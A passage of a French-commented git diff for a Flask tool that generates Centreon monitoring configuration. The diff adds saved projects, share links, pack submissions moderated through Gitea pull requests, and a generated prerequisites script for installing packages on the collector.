PUBLIEE = "publiee" + REFUSEE = "refusee" + + id: Mapped[int] = mapped_column(Integer, primary_key=True) + utilisateur_id: Mapped[int] = mapped_column(ForeignKey("utilisateurs.id"), nullable=False) + pack_id: Mapped[str] = mapped_column(String(64), nullable=False) + categorie: Mapped[str] = mapped_column(String(32), nullable=False) + nom: Mapped[str] = mapped_column(String(255), default="") + contenu: Mapped[str] = mapped_column(Text, nullable=False) # le YAML soumis + message: Mapped[str] = mapped_column(Text, default="") # mot de l'auteur + statut: Mapped[str] = mapped_column(String(16), default=EN_ATTENTE) + reponse: Mapped[str] = mapped_column(Text, default="") # motif du refus + url_pr: Mapped[str] = mapped_column(String(512), default="") + cree_le: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=maintenant) + traite_le: Mapped[datetime | None] = mapped_column(DateTime(timezone=True), nullable=True) + + auteur: Mapped[Utilisateur] = relationship() + + __table_args__ = (Index("ix_soumissions_statut", "statut"),) + + def resume(self, avec_auteur: bool = False) -> dict: + donnees = { + "id": self.id, + "pack_id": self.pack_id, + "categorie": self.categorie, + "nom": self.nom, + "statut": self.statut, + "message": self.message, + "reponse": self.reponse, + "url_pr": self.url_pr, + "cree_le": self.cree_le.isoformat() if self.cree_le else None, + } + if avec_auteur and self.auteur is not None: + donnees["auteur"] = self.auteur.affichage + return donnees + + +def compter_soumissions_du_jour(utilisateur_id: int) -> int: + depuis = maintenant() - timedelta(days=1) + return ( + db.session.query(func.count(Soumission.id)) + .filter(Soumission.utilisateur_id == utilisateur_id, Soumission.cree_le >= depuis) + .scalar() + or 0 + ) + + +def purger_partages_expires() -> int: + """Menage opportuniste : appele a la creation d'un partage.""" + supprimes = ( + db.session.query(Partage) + .filter(Partage.expire_le < maintenant()) + .delete(synchronize_session=False) + ) + db.session.commit() + return supprimes or 0 diff --git a/enclume/generator.py b/enclume/generator.py index dd16f75..89a006e 100644 --- a/enclume/generator.py +++ b/enclume/generator.py @@ -244,14 +244,62 @@ def render_shell(plan: Plan, ops: list[Op], title: str, apply_config: bool) -> s return "\n".join(lines) +def render_prerequis(plan: Plan) -> str: + """Fichier separe : ce qui s'installe sur le collecteur, jamais du CLAPI.""" + + prerequis = plan.project.prerequis + lignes = [ + "#!/usr/bin/env bash", + "#", + f"# Prerequis des sondes - {plan.project.name}", + "# Genere par Enclume. A RELIRE AVANT EXECUTION.", + "#", + "# Ce fichier n'est pas du CLAPI : il s'execute sur le collecteur qui", + "# porte les plugins, pas sur le serveur central. Les commandes sont", + "# commentees par distribution ; decommentez celle qui vous concerne.", + "#", + "set -euo pipefail", + "", + ] + + if prerequis.paquets_debian: + lignes += [ + "# Debian et Ubuntu", + "# apt-get update", + "# apt-get install -y " + " ".join(prerequis.paquets_debian), + "", + ] + if prerequis.paquets_rhel: + lignes += [ + "# RHEL, Alma, Rocky", + "# dnf install -y " + " ".join(prerequis.paquets_rhel), + "", + ] + if prerequis.notes: + lignes += ["# Notes de l'auteur du pack :"] + lignes += [f"# {ligne}" for ligne in prerequis.notes.splitlines()] + lignes += [""] + if prerequis.verifications: + lignes += ["# Verifications, sans effet de bord :"] + for verification in prerequis.verifications: + lignes.append(verification) + lignes.append("") + + lignes += ['echo "Prerequis passes en revue."', ""] + return "\n".join(lignes) + + def render_bundle(plan: Plan) -> dict[str, str]: apply_config = bool(plan.project.apply_config) - return { + fichiers = { "deploy.clapi": render_import(plan, plan.ops, "Deploiement CLAPI"), "deploy.sh": render_shell(plan, plan.ops, "Deploiement CLAPI", apply_config), "rollback.clapi": render_import(plan, plan.rollback_ops, "Suppression des objets"), "rollback.sh": render_shell(plan, plan.rollback_ops, "Suppression des objets", apply_config), } + if not plan.project.prerequis.vide: + fichiers["prerequis.sh"] = render_prerequis(plan) + return fichiers def generate(raw_project: dict[str, Any]) -> dict[str, Any]: diff --git a/enclume/gitea.py b/enclume/gitea.py new file mode 100644 index 0000000..f13d09a --- /dev/null +++ b/enclume/gitea.py @@ -0,0 +1,99 @@ +"""Publication d'un pack accepte, sous forme de pull request Gitea. + +Choix volontaire : la moderation n'ecrit jamais directement sur la branche +principale. Elle ouvre une demande, que tu relis dans Gitea avant de fusionner. +Git reste la source de verite du catalogue, et une acceptation par erreur dans +l'interface reste rattrapable en un clic. +""" + +from __future__ import annotations + +import base64 +import json +import re +import urllib.error +import urllib.request + +from .config import Config + +TIMEOUT = 15 + + +class ErreurGitea(RuntimeError): + pass + + +def _appel(methode: str, chemin: str, corps: dict | None = None) -> dict: + url = f"{Config.GITEA_URL}/api/v1{chemin}" + donnees = json.dumps(corps).encode("utf-8") if corps is not None else None + requete = urllib.request.Request(url, data=donnees, method=methode) + requete.add_header("Authorization", f"token {Config.GITEA_TOKEN}") + requete.add_header("Content-Type", "application/json") + requete.add_header("Accept", "application/json") + try: + with urllib.request.urlopen(requete, timeout=TIMEOUT) as reponse: + charge = reponse.read().decode("utf-8") + return json.loads(charge) if charge else {} + except urllib.error.HTTPError as erreur: + detail = erreur.read().decode("utf-8", "replace")[:500] + raise ErreurGitea(f"{methode} {chemin} : HTTP {erreur.code} — {detail}") from erreur + except urllib.error.URLError as erreur: + raise ErreurGitea(f"{methode} {chemin} : {erreur.reason}") from erreur + + +def _nom_de_branche(pack_id: str, soumission_id: int) -> str: + base = re.sub(r"[^a-z0-9-]+", "-", pack_id.lower()).strip("-") or "pack" + return f"pack/{base}-{soumission_id}" + + +def ouvrir_demande(soumission, auteur: str) -> str: + """Cree la branche, y depose le pack, ouvre la pull request. Rend son URL.""" + + if not Config.gitea_actif(): + raise ErreurGitea("publication Gitea non configuree") + + proprietaire = Config.GITEA_PROPRIETAIRE + depot = Config.GITEA_DEPOT + branche = _nom_de_branche(soumission.pack_id, soumission.id) + chemin = f"{Config.GITEA_SOUS_DOSSIER}/{soumission.categorie}/{soumission.pack_id}.yml" + + # Un seul appel cree la branche et le fichier : new_branch part de branch. + _appel( + "POST", + f"/repos/{proprietaire}/{depot}/contents/{chemin}", + { + "content": base64.b64encode(soumission.contenu.encode("utf-8")).decode("ascii"), + "message": f"Ajout du pack {soumission.pack_id} ({soumission.categorie})", + "branch": Config.GITEA_BRANCHE, + "new_branch": branche, + }, + ) + + corps = [ + f"Pack **{soumission.nom or soumission.pack_id}** propose depuis Enclume.", + "", + f"- identifiant : `{soumission.pack_id}`", + f"- categorie : `{soumission.categorie}`", + f"- auteur : {auteur}", + f"- soumission : #{soumission.id}", + ] + if soumission.message: + corps += ["", "Message de l'auteur :", "", f"> {soumission.message.strip()}"] + corps += [ + "", + "---", + "Contribution externe : relire la ligne de commande, les macros et les " + "eventuels prerequis avant de fusionner.", + ] + + demande = _appel( + "POST", + f"/repos/{proprietaire}/{depot}/pulls", + { + "head": branche, + "base": Config.GITEA_BRANCHE, + "title": f"Pack {soumission.pack_id}", + "body": "\n".join(corps), + }, + ) + return str(demande.get("html_url") or "") diff --git a/enclume/model.py b/enclume/model.py index 2f525a0..faa7578 100644 --- a/enclume/model.py +++ b/enclume/model.py @@ -10,21 +10,43 @@ qu'on exporte, ce qu'on partage et ce que la CI rejoue. from __future__ import annotations +import re from dataclasses import asdict, dataclass, field from typing import Any SCHEMA_VERSION = 1 # Versions de Centreon proposees dans l'editeur et ce qu'elles impliquent. +# Centreon nomme ses versions par annee et saison de livraison : XX.04 au +# printemps, XX.10 a l'automne. Les versions des annees paires sont supportees +# trois ans (LTS) depuis la 24.10, celles des annees impaires dix-huit mois. CENTREON_VERSIONS: dict[str, dict[str, Any]] = { - "24.x": {"label": "Centreon 24.x", "macro_fields": 5}, - "23.x": {"label": "Centreon 23.x", "macro_fields": 5}, - "22.x": {"label": "Centreon 22.x", "macro_fields": 5}, - "21.x": {"label": "Centreon 21.x", "macro_fields": 5}, + "25.10": {"label": "Centreon 25.10", "macro_fields": 5}, + "25.04": {"label": "Centreon 25.04", "macro_fields": 5}, + "24.10": {"label": "Centreon 24.10 (LTS)", "macro_fields": 5}, + "24.04": {"label": "Centreon 24.04", "macro_fields": 5}, + "23.10": {"label": "Centreon 23.10", "macro_fields": 5}, + "23.04": {"label": "Centreon 23.04", "macro_fields": 5}, + "22.10": {"label": "Centreon 22.10", "macro_fields": 5}, + "22.04": {"label": "Centreon 22.04", "macro_fields": 5}, + "21.10": {"label": "Centreon 21.10", "macro_fields": 5}, + "21.04": {"label": "Centreon 21.04", "macro_fields": 5}, + "20.10": {"label": "Centreon 20.10", "macro_fields": 5}, "20.04": {"label": "Centreon 20.04", "macro_fields": 5}, "legacy": {"label": "Centreon anterieur a 20.04", "macro_fields": 3}, } +VERSION_PAR_DEFAUT = "25.10" + +# Les premieres versions d'Enclume proposaient des familles ("24.x") plutot que +# des versions reelles. Les projets enregistres a cette epoque restent lisibles. +VERSIONS_HISTORIQUES = { + "24.x": "24.10", + "23.x": "23.10", + "22.x": "22.10", + "21.x": "21.10", +} + COMMAND_TYPES = {"check": "Controle", "notif": "Notification", "misc": "Divers", "discovery": "Decouverte"} FORBIDDEN = ";" @@ -157,10 +179,58 @@ class Host: ) +@dataclass +class Prerequis: + """Ce qu'il faut installer sur le collecteur pour que les sondes tournent. + + Volontairement separe du CLAPI : ces commandes s'executent sur un serveur, + elles ne doivent jamais etre melangees au code de configuration ni jouees + sans relecture. + """ + + paquets_debian: list[str] = field(default_factory=list) + paquets_rhel: list[str] = field(default_factory=list) + verifications: list[str] = field(default_factory=list) + notes: str = "" + + @property + def vide(self) -> bool: + return not (self.paquets_debian or self.paquets_rhel or self.verifications or self.notes) + + @classmethod + def from_dict(cls, raw: dict[str, Any] | None) -> "Prerequis": + raw = raw or {} + paquets = raw.get("paquets") or {} + return cls( + paquets_debian=[_clean(p) for p in paquets.get("debian") or [] if _clean(p)], + paquets_rhel=[_clean(p) for p in paquets.get("rhel") or [] if _clean(p)], + verifications=[_clean(v) for v in raw.get("verifications") or [] if _clean(v)], + notes=str(raw.get("notes") or "").strip(), + ) + + def fusionner(self, autre: "Prerequis") -> None: + for source, cible in ( + (autre.paquets_debian, self.paquets_debian), + (autre.paquets_rhel, self.paquets_rhel), + (autre.verifications, self.verifications), + ): + for valeur in source: + if valeur not in cible: + cible.append(valeur) + if autre.notes and autre.notes not in self.notes: + self.notes = f"{self.notes}\n\n{autre.notes}".strip() + + +# Un nom de paquet reste un nom de paquet : ni espace, ni separateur de +# commande. Le fichier genere est relu par un humain, mais autant qu'aucune +# soumission ne puisse y glisser autre chose. +MOTIF_PAQUET = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._+-]{0,80}$") + + @dataclass class Project: name: str = "Nouveau projet" - centreon_version: str = "24.x" + centreon_version: str = VERSION_PAR_DEFAUT prefix: str = "" plugins_dir: str = "/usr/lib/centreon/plugins" poller: str = "Central" @@ -169,6 +239,7 @@ class Project: service_templates: list[ServiceTemplate] = field(default_factory=list) host_templates: list[HostTemplate] = field(default_factory=list) hosts: list[Host] = field(default_factory=list) + prerequis: Prerequis = field(default_factory=Prerequis) schema: int = SCHEMA_VERSION @property @@ -178,9 +249,10 @@ class Project: @classmethod def from_dict(cls, raw: dict[str, Any] | None) -> "Project": raw = raw or {} - version = _clean(raw.get("centreon_version")) or "24.x" + version = _clean(raw.get("centreon_version")) or VERSION_PAR_DEFAUT + version = VERSIONS_HISTORIQUES.get(version, version) if version not in CENTREON_VERSIONS: - version = "24.x" + version = VERSION_PAR_DEFAUT return cls( name=_clean(raw.get("name")) or "Nouveau projet", centreon_version=version, @@ -192,6 +264,7 @@ class Project: service_templates=[ServiceTemplate.from_dict(s) for s in raw.get("service_templates") or []], host_templates=[HostTemplate.from_dict(h) for h in raw.get("host_templates") or []], hosts=[Host.from_dict(h) for h in raw.get("hosts") or []], + prerequis=Prerequis.from_dict(raw.get("prerequis")), ) def to_dict(self) -> dict[str, Any]: @@ -214,6 +287,7 @@ class Project: add(self.service_templates, other.service_templates, "Modele de service") add(self.host_templates, other.host_templates, "Modele d'hote") add(self.hosts, other.hosts, "Hote") + self.prerequis.fusionner(other.prerequis) return skipped @@ -290,6 +364,10 @@ def validate(project: Project) -> list[dict[str, str]]: warn(f"Hote {host.name} : modele d'hote inconnu, {template}") _check_macros(host.macros, f"Hote {host.name}", issues) + for paquet in (*project.prerequis.paquets_debian, *project.prerequis.paquets_rhel): + if not MOTIF_PAQUET.match(paquet): + error(f"Prerequis : nom de paquet invalide, {paquet}") + if not project.commands and not project.service_templates and not project.host_templates: warn("Le projet est vide.") diff --git a/enclume/packs.py b/enclume/packs.py index 21a05c8..29e0bd7 100644 --- a/enclume/packs.py +++ b/enclume/packs.py @@ -7,7 +7,7 @@ le projet de l'utilisateur, qui les modifie ensuite librement. from __future__ import annotations from .catalog import Pack -from .model import Command, HostTemplate, Macro, Project, ServiceTemplate +from .model import Command, HostTemplate, Macro, Prerequis, Project, ServiceTemplate def _macro(macro) -> Macro: @@ -23,6 +23,7 @@ def pack_to_project(pack: Pack, only_defaults: bool = True, service_parent: str """Construit un projet ne contenant que les objets du pack.""" project = Project(name=pack.name) + project.prerequis = Prerequis.from_dict(pack.prerequis) project.commands = [] project.service_templates = [] diff --git a/enclume/routes_donnees.py b/enclume/routes_donnees.py new file mode 100644 index 0000000..e80e614 --- /dev/null +++ b/enclume/routes_donnees.py @@ -0,0 +1,350 @@ +"""Routes des chantiers 3 a 5 : projets enregistres, partage, soumissions. + +Deux regles traversent tout ce fichier. + +1. Aucun mot de passe ne franchit la porte du stockage. Tout projet ecrit en + base — enregistrement, partage, soumission — passe d'abord par + strip_secrets. Un site public n'a aucune raison de detenir le mot de passe + MySQL de qui que ce soit. +2. Rien ne s'execute. Une soumission est du texte, relu par un humain dans une + pull request avant d'atteindre le catalogue. +""" + +from __future__ import annotations + +import json +import re +from datetime import timezone + +import yaml +from flask import Blueprint, jsonify, request + +from .auth import administration_requise, connexion_requise, utilisateur_courant +from .catalog import CATEGORIES, Pack +from .config import Config +from .db import ( + Partage, + Projet, + Soumission, + compter_soumissions_du_jour, + db, + maintenant, + purger_partages_expires, +) +from .gitea import ErreurGitea, ouvrir_demande +from .model import Project, strip_secrets + +bp = Blueprint("donnees", __name__) + +MOTIF_PACK_ID = re.compile(r"^[a-z0-9][a-z0-9-]{2,63}$") + + +def _projet_sans_secrets(brut: dict) -> Project: + return strip_secrets(Project.from_dict(brut)) + + +def _corps() -> dict: + return request.get_json(force=True, silent=True) or {} + + +# --------------------------------------------------------------------------- # +# Chantier 3 — projets enregistres +# --------------------------------------------------------------------------- # + +@bp.get("/api/projets") +@connexion_requise +def lister_projets(): + utilisateur = utilisateur_courant() + projets = ( + db.session.query(Projet) + .filter_by(utilisateur_id=utilisateur.id) + .order_by(Projet.maj_le.desc()) + .all() + ) + return jsonify([p.resume() for p in projets]) + + +@bp.post("/api/projets") +@connexion_requise +def enregistrer_projet(): + utilisateur = utilisateur_courant() + corps = _corps() + projet = _projet_sans_secrets(corps.get("project") or {}) + contenu = json.dumps(projet.to_dict(), ensure_ascii=False) + if len(contenu) > Config.TAILLE_MAX_PROJET: + return jsonify({"erreur": "projet trop volumineux"}), 413 + + identifiant = corps.get("id") + if identifiant: + enregistrement = db.session.get(Projet, int(identifiant)) + if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id: + return jsonify({"erreur": "projet introuvable"}), 404 + else: + nombre = db.session.query(Projet).filter_by(utilisateur_id=utilisateur.id).count() + if nombre >= Config.PROJETS_PAR_COMPTE: + return jsonify({"erreur": f"limite de {Config.PROJETS_PAR_COMPTE} projets atteinte"}), 409 + enregistrement = Projet(utilisateur_id=utilisateur.id) + db.session.add(enregistrement) + + enregistrement.nom = projet.name[:255] or "Projet sans nom" + enregistrement.contenu = contenu + db.session.commit() + return jsonify(enregistrement.resume()) + + +@bp.get("/api/projets/") +@connexion_requise +def ouvrir_projet(identifiant: int): + utilisateur = utilisateur_courant() + enregistrement = db.session.get(Projet, identifiant) + if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id: + return jsonify({"erreur": "projet introuvable"}), 404 + return jsonify({"id": enregistrement.id, "project": json.loads(enregistrement.contenu)}) + + +@bp.delete("/api/projets/") +@connexion_requise +def supprimer_projet(identifiant: int): + utilisateur = utilisateur_courant() + enregistrement = db.session.get(Projet, identifiant) + if enregistrement is None or enregistrement.utilisateur_id != utilisateur.id: + return jsonify({"erreur": "projet introuvable"}), 404 + db.session.delete(enregistrement) + db.session.commit() + return jsonify({"statut": "supprime"}) + + +# --------------------------------------------------------------------------- # +# Chantier 3 — partage par lien +# --------------------------------------------------------------------------- # + +@bp.post("/api/partages") +def creer_partage(): + if not Config.base_active(): + return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503 + + projet = _projet_sans_secrets(_corps().get("project") or {}) + contenu = json.dumps(projet.to_dict(), ensure_ascii=False) + if len(contenu) > Config.TAILLE_MAX_PROJET: + return jsonify({"erreur": "projet trop volumineux"}), 413 + + purger_partages_expires() + utilisateur = utilisateur_courant() + partage = Partage.creer( + contenu=contenu, + nom=projet.name, + jours=Config.PARTAGE_JOURS, + utilisateur_id=utilisateur.id if utilisateur else None, + ) + db.session.add(partage) + db.session.commit() + + base = Config.URL_PUBLIQUE or request.url_root.rstrip("/") + expire = partage.expire_le + return jsonify( + { + "id": partage.id, + "url": f"{base}/p/{partage.id}", + "expire_le": expire.replace(tzinfo=expire.tzinfo or timezone.utc).isoformat(), + "avertissement": "Les macros de type mot de passe ont ete videes avant l'enregistrement.", + } + ) + + +@bp.get("/api/partages/") +def lire_partage(identifiant: str): + if not Config.base_active(): + return jsonify({"erreur": "le partage n'est pas active sur cette instance"}), 503 + partage = db.session.get(Partage, identifiant) + if partage is None or partage.expire: + return jsonify({"erreur": "ce lien n'existe pas ou a expire"}), 404 + partage.vues += 1 + db.session.commit() + return jsonify({"project": json.loads(partage.contenu)}) + + +# --------------------------------------------------------------------------- # +# Chantier 5 — soumission de packs +# --------------------------------------------------------------------------- # + +def valider_pack(texte: str) -> tuple[dict | None, list[str]]: + """Verifie qu'un YAML soumis est un pack exploitable. Ne l'execute jamais.""" + + problemes: list[str] = [] + if len(texte.encode("utf-8")) > Config.TAILLE_MAX_PACK: + return None, ["Le fichier depasse la taille autorisee."] + + try: + brut = yaml.safe_load(texte) + except yaml.YAMLError as erreur: + return None, [f"YAML illisible : {erreur}"] + + if not isinstance(brut, dict): + return None, ["Le fichier doit contenir un pack, sous forme de dictionnaire."] + + identifiant = str(brut.get("id") or "").strip() + if not MOTIF_PACK_ID.match(identifiant): + problemes.append( + "L'identifiant doit faire 3 a 64 caracteres, en minuscules, chiffres et tirets." + ) + + categorie = str(brut.get("category") or "").strip() + if categorie not in CATEGORIES: + problemes.append(f"Categorie inconnue : {categorie or '(vide)'}") + + try: + pack = Pack.from_dict(brut) + except Exception as erreur: # noqa: BLE001 - message rendu tel quel au contributeur + return None, problemes + [f"Structure invalide : {erreur}"] + + if not pack.services: + problemes.append("Le pack ne declare aucune sonde.") + for service in pack.services: + if ";" in service.line: + problemes.append(f"Sonde {service.name} : le point-virgule est le separateur CLAPI.") + if "$CENTREONPLUGINS$" not in service.line and "$USER1$" not in service.line: + problemes.append( + f"Sonde {service.name} : la ligne doit commencer par $CENTREONPLUGINS$ ou $USER1$." + ) + + from .model import MOTIF_PAQUET, Prerequis + + prerequis = Prerequis.from_dict(pack.prerequis) + for paquet in (*prerequis.paquets_debian, *prerequis.paquets_rhel): + if not MOTIF_PAQUET.match(paquet): + problemes.append(f"Prerequis : nom de paquet invalide, {paquet}") + + if problemes: + return None, problemes + return brut, [] + + +@bp.post("/api/soumissions/verifier") +@connexion_requise +def verifier_soumission(): + brut, problemes = valider_pack(str(_corps().get("yaml") or "")) + if problemes: + return jsonify({"valide": False, "problemes": problemes}), 200 + pack = Pack.from_dict(brut) + return jsonify( + { + "valide": True, + "pack": { + "id": pack.id, + "nom": pack.name, + "categorie": pack.category, + "sondes": len(pack.services), + "modele_hote": pack.host_template.name, + }, + } + ) + + +@bp.post("/api/soumissions") +@connexion_requise +def soumettre(): + utilisateur = utilisateur_courant() + if compter_soumissions_du_jour(utilisateur.id) >= Config.SOUMISSIONS_PAR_JOUR: + return jsonify({"erreur": "limite de soumissions atteinte pour aujourd'hui"}), 429 + + corps = _corps() + texte = str(corps.get("yaml") or "") + brut, problemes = valider_pack(texte) + if problemes: + return jsonify({"erreur": "pack invalide", "problemes": problemes}), 400 + + pack = Pack.from_dict(brut) + soumission = Soumission( + utilisateur_id=utilisateur.id, + pack_id=pack.id, + categorie=pack.category, + nom=pack.name, + contenu=texte, + message=str(corps.get("message") or "")[:2000], + ) + db.session.add(soumission) + db.session.commit() + return jsonify(soumission.resume()) + + +@bp.get("/api/soumissions") +@connexion_requise +def mes_soumissions(): + utilisateur = utilisateur_courant() + soumissions = ( + db.session.query(Soumission) + .filter_by(utilisateur_id=utilisateur.id) + .order_by(Soumission.cree_le.desc()) + .limit(50) + .all() + ) + return jsonify([s.resume() for s in soumissions]) + + +# --------------------------------------------------------------------------- # +# Chantier 5 — moderation +# --------------------------------------------------------------------------- # + +@bp.get("/api/moderation/soumissions") +@administration_requise +def moderation_lister(): + statut = request.args.get("statut", Soumission.EN_ATTENTE) + requete = db.session.query(Soumission).order_by(Soumission.cree_le.asc()) + if statut != "toutes": + requete = requete.filter_by(statut=statut) + return jsonify([s.resume(avec_auteur=True) for s in requete.limit(200).all()]) + + +@bp.get("/api/moderation/soumissions/") +@administration_requise +def moderation_detail(identifiant: int): + soumission = db.session.get(Soumission, identifiant) + if soumission is None: + return jsonify({"erreur": "soumission introuvable"}), 404 + donnees = soumission.resume(avec_auteur=True) + donnees["contenu"] = soumission.contenu + return jsonify(donnees) + + +@bp.post("/api/moderation/soumissions//publier") +@administration_requise +def moderation_publier(identifiant: int): + soumission = db.session.get(Soumission, identifiant) + if soumission is None: + return jsonify({"erreur": "soumission introuvable"}), 404 + if soumission.statut != Soumission.EN_ATTENTE: + return jsonify({"erreur": "soumission deja traitee"}), 409 + if not Config.gitea_actif(): + return jsonify({"erreur": "publication Gitea non configuree"}), 503 + + # Revalidation au moment de publier : le contenu a pu etre juge valide il y + # a trois semaines, sous une version anterieure des regles. + _, problemes = valider_pack(soumission.contenu) + if problemes: + return jsonify({"erreur": "le pack n'est plus valide", "problemes": problemes}), 400 + + try: + url = ouvrir_demande(soumission, soumission.auteur.affichage if soumission.auteur else "inconnu") + except ErreurGitea as erreur: + return jsonify({"erreur": str(erreur)}), 502 + + soumission.statut = Soumission.PUBLIEE + soumission.url_pr = url + soumission.traite_le = maintenant() + db.session.commit() + return jsonify(soumission.resume(avec_auteur=True)) + + +@bp.post("/api/moderation/soumissions//refuser") +@administration_requise +def moderation_refuser(identifiant: int): + soumission = db.session.get(Soumission, identifiant) + if soumission is None: + return jsonify({"erreur": "soumission introuvable"}), 404 + if soumission.statut != Soumission.EN_ATTENTE: + return jsonify({"erreur": "soumission deja traitee"}), 409 + soumission.statut = Soumission.REFUSEE + soumission.reponse = str(_corps().get("motif") or "")[:2000] + soumission.traite_le = maintenant() + db.session.commit() + return jsonify(soumission.resume(avec_auteur=True)) diff --git a/enclume/static/editeur.js b/enclume/static/editeur.js index f27993a..4ee1206 100644 --- a/enclume/static/editeur.js +++ b/enclume/static/editeur.js @@ -16,7 +16,7 @@ var packsCache = null; function projetVide() { return { name: 'Nouveau projet', - centreon_version: '24.x', + centreon_version: '25.10', prefix: '', plugins_dir: '/usr/lib/centreon/plugins', poller: 'Central', @@ -24,7 +24,8 @@ function projetVide() { commands: [], service_templates: [], host_templates: [], - hosts: [] + hosts: [], + prerequis: { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' } }; } @@ -201,6 +202,16 @@ function rendreReglages(main) { main.appendChild(grille); main.appendChild(caseACocher("Ajouter APPLYCFG a la fin des scripts", projet, 'apply_config')); + main.appendChild(sousTitre('Prerequis des sondes', + "Ce qui doit etre installe sur le collecteur ; genere un fichier distinct du CLAPI.")); + var pre = elt('div', { className: 'prerequis' }); + if (!projet.prerequis) projet.prerequis = { paquets_debian: [], paquets_rhel: [], verifications: [], notes: '' }; + pre.appendChild(champListe('Paquets Debian et Ubuntu', projet.prerequis, 'paquets_debian')); + pre.appendChild(champListe('Paquets RHEL, Alma, Rocky', projet.prerequis, 'paquets_rhel')); + main.appendChild(pre); + main.appendChild(champZone('Notes a l\'attention de l\'installateur', projet.prerequis, 'notes')); + main.appendChild(champListe('Commandes de verification', projet.prerequis, 'verifications')); + var info = elt('div', { className: 'notice' }); info.appendChild(elt('p', { textContent: 'Le projet est conserve dans ce navigateur uniquement. Rien n\u2019est envoye au serveur ' + @@ -742,3 +753,205 @@ document.addEventListener('keydown', function (e) { }); rendre(); + +// ========================================================================== +// Chantiers 3 a 5 : partage, projets enregistres, soumission de packs. +// Tout ce bloc est inerte si le serveur n'annonce pas la fonctionnalite. +// ========================================================================== + +var CONTEXTE = (function () { + var noeud = document.getElementById('donnees-contexte'); + try { return noeud ? JSON.parse(noeud.textContent) : {}; } catch (e) { return {}; } +})(); +var FONCTIONS = CONTEXTE.fonctions || {}; + +function appelJSON(url, options) { + options = options || {}; + options.headers = Object.assign({ 'Content-Type': 'application/json' }, options.headers || {}); + return fetch(url, options).then(function (reponse) { + return reponse.json().catch(function () { return {}; }).then(function (corps) { + if (!reponse.ok) throw new Error(corps.erreur || 'echec de la requete'); + return corps; + }); + }); +} + +function brancher(id, action) { + var bouton = document.getElementById(id); + if (bouton) bouton.addEventListener('click', action); +} + +// --------------------------------------------------------------- partage + +brancher('btn-partager', function () { + appelJSON('/api/partages', { method: 'POST', body: JSON.stringify({ project: projet }) }) + .then(function (donnees) { + ouvrirModale('Lien de partage', function (corps) { + corps.appendChild(elt('p', { + className: 'lede', + textContent: 'Toute personne disposant de ce lien peut ouvrir une copie de ce projet. ' + + donnees.avertissement + })); + var champ = elt('input', { type: 'text', value: donnees.url, readOnly: true }); + corps.appendChild(champ); + champ.focus(); champ.select(); + var barre = elt('div', { className: 'barre' }); + barre.appendChild(elt('button', { + type: 'button', textContent: 'Copier le lien', + onclick: function () { + champ.select(); + if (navigator.clipboard) navigator.clipboard.writeText(donnees.url); + else document.execCommand('copy'); + etat('Lien copie'); + } + })); + corps.appendChild(barre); + corps.appendChild(elt('small', { textContent: 'Ce lien expire le ' + (donnees.expire_le || '').slice(0, 10) + '.' })); + }); + }) + .catch(function (erreur) { alert('Partage impossible : ' + erreur.message); }); +}); + +// Ouverture d'un projet partage : la page /p/ passe l'identifiant. +if (CONTEXTE.partage) { + appelJSON('/api/partages/' + encodeURIComponent(CONTEXTE.partage)) + .then(function (donnees) { + var vide = projetVide(); + Object.keys(vide).forEach(function (k) { + if (donnees.project[k] === undefined) donnees.project[k] = vide[k]; + }); + projet = donnees.project; + selection = { type: 'reglages', index: 0 }; + sauver(); rendre(); + etat('Projet partage ouvert'); + }) + .catch(function () { alert("Ce lien de partage n'existe pas ou a expire."); }); +} + +// ----------------------------------------------------- projets en ligne + +brancher('btn-serveur-enregistrer', function () { + appelJSON('/api/projets', { + method: 'POST', + body: JSON.stringify({ project: projet, id: projet.__id_serveur || null }) + }).then(function (donnees) { + projet.__id_serveur = donnees.id; + sauver(); + etat('Projet enregistre en ligne'); + }).catch(function (erreur) { alert('Enregistrement impossible : ' + erreur.message); }); +}); + +brancher('btn-serveur-ouvrir', function () { + appelJSON('/api/projets').then(function (projets) { + ouvrirModale('Mes projets', function (corps) { + if (!projets.length) { + corps.appendChild(elt('p', { className: 'lede', textContent: 'Aucun projet enregistre pour le moment.' })); + return; + } + var liste = elt('div', { className: 'packs' }); + projets.forEach(function (entree) { + var ligne = elt('div', { className: 'pack-ligne' }); + var texte = elt('div'); + texte.appendChild(elt('b', { textContent: entree.nom })); + texte.appendChild(elt('div', { + className: 'desc', + textContent: 'modifie le ' + (entree.maj_le || '').slice(0, 16).replace('T', ' a ') + })); + ligne.appendChild(texte); + var actions = elt('div', { className: 'barre' }); + actions.appendChild(elt('button', { + type: 'button', className: 'small', textContent: 'Ouvrir', + onclick: function () { + appelJSON('/api/projets/' + entree.id).then(function (donnees) { + projet = donnees.project; + projet.__id_serveur = donnees.id; + selection = { type: 'reglages', index: 0 }; + fermerModale(); sauver(); rendre(); + etat('Projet ouvert'); + }); + } + })); + actions.appendChild(elt('button', { + type: 'button', className: 'small danger', textContent: 'Supprimer', + onclick: function () { + if (!confirm('Supprimer ' + entree.nom + ' ?')) return; + appelJSON('/api/projets/' + entree.id, { method: 'DELETE' }).then(function () { + ligne.remove(); etat('Projet supprime'); + }); + } + })); + ligne.appendChild(actions); + liste.appendChild(ligne); + }); + corps.appendChild(liste); + }); + }).catch(function (erreur) { alert('Lecture impossible : ' + erreur.message); }); +}); + +brancher('btn-deconnexion', function () { + fetch('/deconnexion', { method: 'POST' }).then(function () { window.location.reload(); }); +}); + +// ------------------------------------------------------ soumission de pack + +brancher('btn-soumettre', function () { + ouvrirModale('Proposer un pack au catalogue', function (corps) { + corps.appendChild(elt('p', { + className: 'lede', + textContent: "Collez le YAML de votre pack. Il sera verifie ici, puis relu dans une " + + 'demande de fusion avant d\u2019entrer au catalogue. Rien n\u2019est execute par le site.' + })); + + var zone = elt('textarea', { rows: 16, placeholder: 'id: app-rabbitmq\nname: RabbitMQ\ncategory: application\n...' }); + corps.appendChild(zone); + + var mot = elt('input', { type: 'text', placeholder: 'Un mot pour le relecteur (facultatif)' }); + corps.appendChild(mot); + + var retour = elt('div'); + corps.appendChild(retour); + + var barre = elt('div', { className: 'barre' }); + var envoi = elt('button', { type: 'button', className: 'primary auto', textContent: 'Soumettre', disabled: true }); + + barre.appendChild(elt('button', { + type: 'button', textContent: 'Verifier', + onclick: function () { + appelJSON('/api/soumissions/verifier', { + method: 'POST', body: JSON.stringify({ 